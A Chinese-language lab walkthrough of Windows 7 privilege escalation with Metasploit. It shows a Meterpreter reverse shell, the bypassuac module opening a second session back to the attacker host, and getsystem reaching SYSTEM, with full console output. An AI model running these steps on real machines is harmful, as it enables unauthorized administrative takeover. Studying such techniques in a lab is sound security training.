

# 一、流程 (Win7)

## 1、获取普通用户权限

### # 获取权限

此处主题为提权，略过获取普通权限步骤

```
msf6 exploit(multi/handler) > run
[*] No arch selected, selecting arch: x86 from the payload
[*] Started reverse TCP handler on 192.168.174.137:1111
[*] Sending stage (175174 bytes) to 192.168.174.141
[*] Meterpreter session 3 opened (192.168.174.137:1111 → 192.168.174.141:49158 )
    at 2022-06-01 19:20:51 +0800

meterpreter > bg ~/桌面
[*] Backgrounding session 3...
msf6 exploit(multi/handler) > sessions

Active sessions
=====

```

Id	Name	Type	Information	Connection
3		meterpreter x86/windows	chengqiang-PC\test @ CHENGQIANG-PC	192.168.174.137:1111 → 192.168.174.141:49158 (192.168.174.141)

## 2、bypassuac提权

### # 配置bypassuac提权

```
msf6 exploit(multi/handler) > search bypassuac
msf6 exploit(multi/handler) > use 2
msf6 exploit(windows/local/bypassuac) > set session 3
msf6 exploit(windows/local/bypassuac) > run
```

```
msf6 exploit(windows/local/bypassuac) > run
[*] Started reverse TCP handler on 192.168.174.137:2222
[*] UAC is Enabled, checking level...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[+] Part of Administrators group! Continuing...
[*] Uploaded the agent to the filesystem....
[*] Uploading the bypass UAC executable to the filesystem...
[*] Meterpreter stager executable 73802 bytes long being uploaded..
[*] Sending stage (175174 bytes) to 192.168.174.141
[*] Meterpreter session 4 opened (192.168.174.137:2222 → 192.168.174.141:49159 )
    at 2022-06-01 19:21:48 +0800
```

## 3、提权成功

### # 提权

```
meterpreter > getuid
meterpreter > getsystem
meterpreter > getuid
```

```
meterpreter > getuid
Server username: chengqiang-PC\test
meterpreter > getsystem
... got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > 
```

## 二、注意事项

---

- 1、普通用户需在管理员组
- 2、添加组成功后需重启